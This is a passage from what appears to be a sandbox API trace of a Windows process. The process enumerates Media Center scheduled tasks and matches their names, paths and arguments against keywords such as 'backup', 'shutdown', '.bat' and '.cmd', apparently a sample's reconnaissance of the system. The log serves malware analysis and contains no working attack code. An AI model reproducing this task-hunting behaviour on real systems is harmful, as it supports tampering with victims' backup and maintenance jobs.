pName=0x5cf9f8*="DispatchRecoveryTasks") returned 0x0 [0146.980] IRegisteredTask:get_State (in: This=0x2460a00, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0146.982] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2c) returned 0x6cab78 [0146.982] wcsstr (_Str="dispatchrecoverytasks", _SubStr="reboot") returned 0x0 [0146.982] wcsstr (_Str="dispatchrecoverytasks", _SubStr="restart") returned 0x0 [0146.982] wcsstr (_Str="dispatchrecoverytasks", _SubStr="shutdown") returned 0x0 [0146.982] wcsstr (_Str="dispatchrecoverytasks", _SubStr="logoff") returned 0x0 [0146.982] wcsstr (_Str="dispatchrecoverytasks", _SubStr=".bat") returned 0x0 [0146.982] wcsstr (_Str="dispatchrecoverytasks", _SubStr="backup") returned 0x0 [0146.982] wcsstr (_Str="dispatchrecoverytasks", _SubStr=".cmd") returned 0x0 [0146.982] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6cab78) returned 1 [0146.982] IRegisteredTask:get_Definition (in: This=0x2460a00, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fa50) returned 0x0 [0148.900] ITaskDefinition:get_Actions (in: This=0x47fa50, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fac8) returned 0x0 [0148.900] IActionCollection:get_Count (in: This=0x47fac8, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0148.900] IActionCollection:get_Item (in: This=0x47fac8, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x47fd00) returned 0x0 [0148.900] IAction:get_Type (in: This=0x47fd00, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0148.900] IUnknown:QueryInterface (in: This=0x47fd00, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x47fd00) returned 0x0 [0148.900] IExecAction:get_Path (in: This=0x47fd00, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0148.900] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x42) returned 0x6e7270 [0148.900] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0148.900] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0148.900] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0148.900] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0148.900] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0148.900] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0148.900] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0148.900] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7270) returned 1 [0148.900] IExecAction:get_Arguments (in: This=0x47fd00, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/DoRecoveryTasks $(Arg0)") returned 0x0 [0148.900] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x32) returned 0x6c9c90 [0148.901] wcsstr (_Str="/dorecoverytasks $(arg0)", _SubStr="reboot") returned 0x0 [0148.901] wcsstr (_Str="/dorecoverytasks $(arg0)", _SubStr="restart") returned 0x0 [0148.901] wcsstr (_Str="/dorecoverytasks $(arg0)", _SubStr="shutdown") returned 0x0 [0148.901] wcsstr (_Str="/dorecoverytasks $(arg0)", _SubStr="logoff") returned 0x0 [0148.901] wcsstr (_Str="/dorecoverytasks $(arg0)", _SubStr=".bat") returned 0x0 [0148.901] wcsstr (_Str="/dorecoverytasks $(arg0)", _SubStr="backup") returned 0x0 [0148.901] wcsstr (_Str="/dorecoverytasks $(arg0)", _SubStr=".cmd") returned 0x0 [0148.901] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c9c90) returned 1 [0148.901] IUnknown:Release (This=0x47fd00) returned 0x2 [0148.901] IUnknown:Release (This=0x47fd00) returned 0x1 [0148.901] IUnknown:Release (This=0x47fac8) returned 0x1 [0148.901] IUnknown:Release (This=0x47fa50) returned 0x0 [0148.901] IUnknown:Release (This=0x2460a00) returned 0x0 [0148.901] IRegisteredTaskCollection:get_Item (in: This=0x2460978, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2460a00) returned 0x0 [0148.901] IRegisteredTask:get_Name (in: This=0x2460a00, pName=0x5cf9f8 | out: pName=0x5cf9f8*="ehDRMInit") returned 0x0 [0148.901] IRegisteredTask:get_State (in: This=0x2460a00, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0149.398] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x14) returned 0x6e6a90 [0149.398] wcsstr (_Str="ehdrminit", _SubStr="reboot") returned 0x0 [0149.398] wcsstr (_Str="ehdrminit", _SubStr="restart") returned 0x0 [0149.399] wcsstr (_Str="ehdrminit", _SubStr="shutdown") returned 0x0 [0149.399] wcsstr (_Str="ehdrminit", _SubStr="logoff") returned 0x0 [0149.399] wcsstr (_Str="ehdrminit", _SubStr=".bat") returned 0x0 [0149.399] wcsstr (_Str="ehdrminit", _SubStr="backup") returned 0x0 [0149.399] wcsstr (_Str="ehdrminit", _SubStr=".cmd") returned 0x0 [0149.399] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6a90) returned 1 [0149.399] IRegisteredTask:get_Definition (in: This=0x2460a00, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fa50) returned 0x0 [0150.182] ITaskDefinition:get_Actions (in: This=0x47fa50, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fac8) returned 0x0 [0150.182] IActionCollection:get_Count (in: This=0x47fac8, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0150.182] IActionCollection:get_Item (in: This=0x47fac8, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x47fd00) returned 0x0 [0150.182] IAction:get_Type (in: This=0x47fd00, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0150.182] IUnknown:QueryInterface (in: This=0x47fd00, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x47fd00) returned 0x0 [0150.182] IExecAction:get_Path (in: This=0x47fd00, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0150.182] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x42) returned 0x6e7270 [0150.182] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0150.182] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0150.182] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0150.182] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0150.182] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0150.183] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0150.183] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0150.183] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7270) returned 1 [0150.183] IExecAction:get_Arguments (in: This=0x47fd00, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/DRMInit") returned 0x0 [0150.183] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x12) returned 0x6e6a90 [0150.183] wcsstr (_Str="/drminit", _SubStr="reboot") returned 0x0 [0150.183] wcsstr (_Str="/drminit", _SubStr="restart") returned 0x0 [0150.183] wcsstr (_Str="/drminit", _SubStr="shutdown") returned 0x0 [0150.183] wcsstr (_Str="/drminit", _SubStr="logoff") returned 0x0 [0150.183] wcsstr (_Str="/drminit", _SubStr=".bat") returned 0x0 [0150.183] wcsstr (_Str="/drminit", _SubStr="backup") returned 0x0 [0150.183] wcsstr (_Str="/drminit", _SubStr=".cmd") returned 0x0 [0150.183] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6a90) returned 1 [0150.183] IUnknown:Release (This=0x47fd00) returned 0x2 [0150.183] IUnknown:Release (This=0x47fd00) returned 0x1 [0150.183] IUnknown:Release (This=0x47fac8) returned 0x1 [0150.183] IUnknown:Release (This=0x47fa50) returned 0x0 [0150.183] IUnknown:Release (This=0x2460a00) returned 0x0 [0150.183] IRegisteredTaskCollection:get_Item (in: This=0x2460978, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2460a00) returned 0x0 [0150.183] IRegisteredTask:get_Name (in: This=0x2460a00, pName=0x5cf9f8 | out: pName=0x5cf9f8*="InstallPlayReady") returned 0x0 [0150.183] IRegisteredTask:get_State (in: This=0x2460a00, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0150.185] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x22) returned 0x6c88f8 [0150.185] wcsstr (_Str="installplayready", _SubStr="reboot") returned 0x0 [0150.185] wcsstr (_Str="installplayready", _SubStr="restart") returned 0x0 [0150.185] wcsstr (_Str="installplayready", _SubStr="shutdown") returned 0x0 [0150.185] wcsstr (_Str="installplayready", _SubStr="logoff") returned 0x0 [0150.185] wcsstr (_Str="installplayready", _SubStr=".bat") returned 0x0 [0150.185] wcsstr (_Str="installplayready", _SubStr="backup") returned 0x0 [0150.185] wcsstr (_Str="installplayready", _SubStr=".cmd") returned 0x0 [0150.185] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c88f8) returned 1 [0150.185] IRegisteredTask:get_Definition (in: This=0x2460a00, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fa50) returned 0x0 [0150.190] ITaskDefinition:get_Actions (in: This=0x47fa50, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fac8) returned 0x0 [0150.190] IActionCollection:get_Count (in: This=0x47fac8, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0150.190] IActionCollection:get_Item (in: This=0x47fac8, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x47fd00) returned 0x0 [0150.190] IAction:get_Type (in: This=0x47fd00, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0150.190] IUnknown:QueryInterface (in: This=0x47fd00, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x47fd00) returned 0x0 [0150.190] IExecAction:get_Path (in: This=0x47fd00, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0150.190] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x42) returned 0x6e7270 [0150.190] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0150.190] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0150.190] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0150.190] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0150.190] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0150.190] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0150.190] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0150.190] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7270) returned 1 [0150.190] IExecAction:get_Arguments (in: This=0x47fd00, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/InstallPlayReady $(Arg0)") returned 0x0 [0150.190] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x34) returned 0x6c9c90 [0150.190] wcsstr (_Str="/installplayready $(arg0)", _SubStr="reboot") returned 0x0 [0150.191] wcsstr (_Str="/installplayready $(arg0)", _SubStr="restart") returned 0x0 [0150.191] wcsstr (_Str="/installplayready $(arg0)", _SubStr="shutdown") returned 0x0 [0150.191] wcsstr (_Str="/installplayready $(arg0)", _SubStr="logoff") returned 0x0 [0150.191] wcsstr (_Str="/installplayready $(arg0)", _SubStr=".bat") returned 0x0 [0150.191] wcsstr (_Str="/installplayready $(arg0)", _SubStr="backup") returned 0x0 [0150.191] wcsstr (_Str="/installplayready $(arg0)", _SubStr=".cmd") returned 0x0 [0150.191] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c9c90) returned 1 [0150.191] IUnknown:Release (This=0x47fd00) returned 0x2 [0150.191] IUnknown:Release (This=0x47fd00) returned 0x1 [0150.191] IUnknown:Release (This=0x47fac8) returned 0x1 [0150.191] IUnknown:Release (This=0x47fa50) returned 0x0 [0150.191] IUnknown:Release (This=0x2460a00) returned 0x0 [0150.191] IRegisteredTaskCollection:get_Item (in: This=0x2460978, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2460a00) returned 0x0 [0150.191] IRegisteredTask:get_Name (in: This=0x2460a00, pName=0x5cf9f8 | out: pName=0x5cf9f8*="mcupdate") returned 0x0 [0150.191] IRegisteredTask:get_State (in: This=0x2460a00, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0150.192] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x12) returned 0x6e6a90 [0150.192] wcsstr (_Str="mcupdate", _SubStr="reboot") returned 0x0 [0150.193] wcsstr (_Str="mcupdate", _SubStr="restart") returned 0x0 [0150.193] wcsstr (_Str="mcupdate", _SubStr="shutdown") returned 0x0 [0150.193] wcsstr (_Str="mcupdate", _SubStr="logoff") returned 0x0 [0150.193] wcsstr (_Str="mcupdate", _SubStr=".bat") returned 0x0 [0150.193] wcsstr (_Str="mcupdate", _SubStr="backup") returned 0x0 [0150.193] wcsstr (_Str="mcupdate", _SubStr=".cmd") returned 0x0 [0150.193] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6a90) returned 1 [0150.193] IRegisteredTask:get_Definition (in: This=0x2460a00, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fa50) returned 0x0 [0150.198] ITaskDefinition:get_Actions (in: This=0x47fa50, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fac8) returned 0x0 [0150.198] IActionCollection:get_Count (in: This=0x47fac8, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0150.198] IActionCollection:get_Item (in: This=0x47fac8, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x47fd40) returned 0x0 [0150.198] IAction:get_Type (in: This=0x47fd40, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0150.198] IUnknown:QueryInterface (in: This=0x47fd40, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x47fd40) returned 0x0 [0150.198] IExecAction:get_Path (in: This=0x47fd40, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\mcupdate") returned 0x0 [0150.198] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x38) returned 0x6c9c90 [0150.198] wcsstr (_Str="%systemroot%\\ehome\\mcupdate", _SubStr="reboot") returned 0x0 [0150.198] wcsstr (_Str="%systemroot%\\ehome\\mcupdate", _SubStr="restart") returned 0x0 [0150.198] wcsstr (_Str="%systemroot%\\ehome\\mcupdate", _SubStr="shutdown") returned 0x0 [0150.198] wcsstr (_Str="%systemroot%\\ehome\\mcupdate", _SubStr="logoff") returned 0x0 [0150.198] wcsstr (_Str="%systemroot%\\ehome\\mcupdate", _SubStr=".bat") returned 0x0 [0150.198] wcsstr (_Str="%systemroot%\\ehome\\mcupdate", _SubStr="backup") returned 0x0 [0150.198] wcsstr (_Str="%systemroot%\\ehome\\mcupdate", _SubStr=".cmd") returned 0x0 [0150.198] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c9c90) returned 1 [0150.198] IExecAction:get_Arguments (in: This=0x47fd40, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="$(Arg0)") returned 0x0 [0150.198] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x10) returned 0x6ea5c0 [0150.198] wcsstr (_Str="$(arg0)", _SubStr="reboot") returned 0x0 [0150.198] wcsstr (_Str="$(arg0)", _SubStr="restart") returned 0x0 [0150.198] wcsstr (_Str="$(arg0)", _SubStr="shutdown") returned 0x0 [0150.198] wcsstr (_Str="$(arg0)", _SubStr="logoff") returned 0x0 [0150.198] wcsstr (_Str="$(arg0)", _SubStr=".bat") returned 0x0 [0150.198] wcsstr (_Str="$(arg0)", _SubStr="backup") returned 0x0 [0150.198] wcsstr (_Str="$(arg0)", _SubStr=".cmd") returned 0x0 [0150.199] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6ea5c0) returned 1 [0150.199] IUnknown:Release (This=0x47fd40) returned 0x2 [0150.199] IUnknown:Release (This=0x47fd40) returned 0x1 [0150.199] IUnknown:Release (This=0x47fac8) returned 0x1 [0150.199] IUnknown:Release (This=0x47fa50) returned 0x0 [0150.199] IUnknown:Release (This=0x2460a00) returned 0x0 [0150.199] IRegisteredTaskCollection:get_Item (in: This=0x2460978, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x7, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2460a00) returned 0x0 [0150.199] IRegisteredTask:get_Name (in: This=0x2460a00, pName=0x5cf9f8 | out: pName=0x5cf9f8*="MediaCenterRecoveryTask") returned 0x0 [0150.199] IRegisteredTask:get_State (in: This=0x2460a00, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0150.200] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x30) returned 0x6caad0 [0150.200] wcsstr (_Str="mediacenterrecoverytask", _SubStr="reboot") returned 0x0 [0150.200] wcsstr (_Str="mediacenterrecoverytask", _SubStr="restart") returned 0x0 [0150.200] wcsstr (_Str="mediacenterrecoverytask", _SubStr="shutdown") returned 0x0 [0150.200] wcsstr (_Str="mediacenterrecoverytask", _SubStr="logoff") returned 0x0 [0150.200] wcsstr (_Str="mediacenterrecoverytask", _SubStr=".bat") returned 0x0 [0150.200] wcsstr (_Str="mediacenterrecoverytask", _SubStr="backup") returned 0x0 [0150.201] wcsstr (_Str="mediacenterrecoverytask", _SubStr=".cmd") returned 0x0 [0150.201] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6caad0) returned 1 [0150.201] IRegisteredTask:get_Definition (in: This=0x2460a00, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fa50) returned 0x0 [0150.205] ITaskDefinition:get_Actions (in: This=0x47fa50, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fac8) returned 0x0 [0150.205] IActionCollection:get_Count (in: This=0x47fac8, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=2) returned 0x0 [0150.205] IActionCollection:get_Item (in: This=0x47fac8, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x47fd00) returned 0x0 [0150.206] IAction:get_Type (in: This=0x47fd00, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0150.206] IUnknown:QueryInterface (in: This=0x47fd00, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x47fd00) returned 0x0 [0150.206] IExecAction:get_Path (in: This=0x47fd00, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\mcupdate.exe") returned 0x0 [0150.206] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x40) returned 0x6c2860 [0150.206] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="reboot") returned 0x0 [0150.206] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="restart") returned 0x0 [0150.206] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="shutdown") returned 0x0 [0150.206] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="logoff") returned 0x0 [0150.206] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr=".bat") returned 0x0 [0150.206] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="backup") returned 0x0 [0150.206] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr=".cmd") returned 0x0 [0150.206] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c2860) returned 1 [0150.206] IExecAction:get_Arguments (in: This=0x47fd00, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="-MediaCenterRecoveryTask") returned 0x0 [0150.206] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x32) returned 0x6c9c90 [0150.206] wcsstr (_Str="-mediacenterrecoverytask", _SubStr="reboot") returned 0x0 [0150.206] wcsstr (_Str="-mediacenterrecoverytask", _SubStr="restart") returned 0x0 [0150.206] wcsstr (_Str="-mediacenterrecoverytask", _SubStr="shutdown") returned 0x0 [0150.206] wcsstr (_Str="-mediacenterrecoverytask", _SubStr="logoff") returned 0x0 [0150.206] wcsstr (_Str="-mediacenterrecoverytask", _SubStr=".bat") returned 0x0 [0150.206] wcsstr (_Str="-mediacenterrecoverytask", _SubStr="backup") returned 0x0 [0150.206] wcsstr (_Str="-mediacenterrecoverytask", _SubStr=".cmd") returned 0x0 [0150.206] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c9c90) returned 1 [0150.206] IUnknown:Release (This=0x47fd00) returned 0x2 [0150.206] IUnknown:Release (This=0x47fd00) returned 0x1 [0150.206] IActionCollection:get_Item (in: This=0x47fac8, index=2, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x47fd40) returned 0x0 [0150.206] IAction:get_Type (in: This=0x47fd40, pType=0x5cf9e4 | out: pType=0x5cf9e4*=5) returned 0x0 [0150.206] IUnknown:Release (This=0x47fd40) returned 0x1 [0150.206] IUnknown:Release (This=0x47fac8) returned 0x1 [0150.206] IUnknown:Release (This=0x47fa50) returned 0x0 [0150.206] IUnknown:Release (This=0x2460a00) returned 0x0 [0150.207] IRegisteredTaskCollection:get_Item (in: This=0x2460978, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2460a00) returned 0x0 [0150.207] IRegisteredTask:get_Name (in: This=0x2460a00, pName=0x5cf9f8 | out: pName=0x5cf9f8*="ObjectStoreRecoveryTask") returned 0x0 [0150.207] IRegisteredTask:get_State (in: This=0x2460a00, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0150.208] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x30) returned 0x6caad0 [0150.208] wcsstr (_Str="objectstorerecoverytask", _SubStr="reboot") returned 0x0 [0150.208] wcsstr (_Str="objectstorerecoverytask", _SubStr="restart") returned 0x0 [0150.208] wcsstr (_Str="objectstorerecoverytask", _SubStr="shutdown") returned 0x0 [0150.208] wcsstr (_Str="objectstorerecoverytask", _SubStr="logoff") returned 0x0 [0150.208] wcsstr (_Str="objectstorerecoverytask", _SubStr=".bat") returned 0x0 [0150.208] wcsstr (_Str="objectstorerecoverytask", _SubStr="backup") returned 0x0 [0150.208] wcsstr (_Str="objectstorerecoverytask", _SubStr=".cmd") returned 0x0 [0150.208] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6caad0) returned 1 [0150.208] IRegisteredTask:get_Definition (in: This=0x2460a00, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fa50) returned 0x0 [0150.213] ITaskDefinition:get_Actions (in: This=0x47fa50, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fac8) returned 0x0 [0150.213] IActionCollection:get_Count (in: This=0x47fac8, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=2) returned 0x0 [0150.214] IActionCollection:get_Item (in: This=0x47fac8, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x47fd00) returned 0x0 [0150.214] IAction:get_Type (in: This=0x47fd00, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0150.214] IUnknown:QueryInterface (in: This=0x47fd00, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x47fd00) returned 0x0 [0150.214] IExecAction:get_Path (in: This=0x47fd00, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\mcupdate.exe") returned 0x0 [0150.214] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x40) returned 0x6c2860 [0150.214] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="reboot") returned 0x0 [0150.214] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="restart") returned 0x0 [0150.214] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="shutdown") returned 0x0 [0150.214] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="logoff") returned 0x0 [0150.214] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr=".bat") returned 0x0 [0150.214] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="backup") returned 0x0 [0150.214] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr=".cmd") returned 0x0 [0150.214] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c2860) returned 1 [0150.214] IExecAction:get_Arguments (in: This=0x47fd00, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="-ObjectStoreRecoveryTask") returned 0x0 [0150.214] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x32) returned 0x6c9c90 [0150.214] wcsstr (_Str="-objectstorerecoverytask", _SubStr="reboot") returned 0x0 [0150.214] wcsstr (_Str="-objectstorerecoverytask", _SubStr="restart") returned 0x0 [0150.214] wcsstr (_Str="-objectstorerecoverytask", _SubStr="shutdown") returned 0x0 [0150.214] wcsstr (_Str="-objectstorerecoverytask", _SubStr="logoff") returned 0x0 [0150.214] wcsstr (_Str="-objectstorerecoverytask", _SubStr=".bat") returned 0x0 [0150.214] wcsstr (_Str="-objectstorerecoverytask", _SubStr="backup") returned 0x0 [0150.214] wcsstr (_Str="-objectstorerecoverytask", _SubStr=".cmd") returned 0x0 [0150.214] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c9c90) returned 1 [0150.214] IUnknown:Release (This=0x47fd00) returned 0x2 [0150.214] IUnknown:Release (This=0x47fd00) returned 0x1 [0150.214] IActionCollection:get_Item (in: This=0x47fac8, index=2, ppAction=0x5cfa18 | 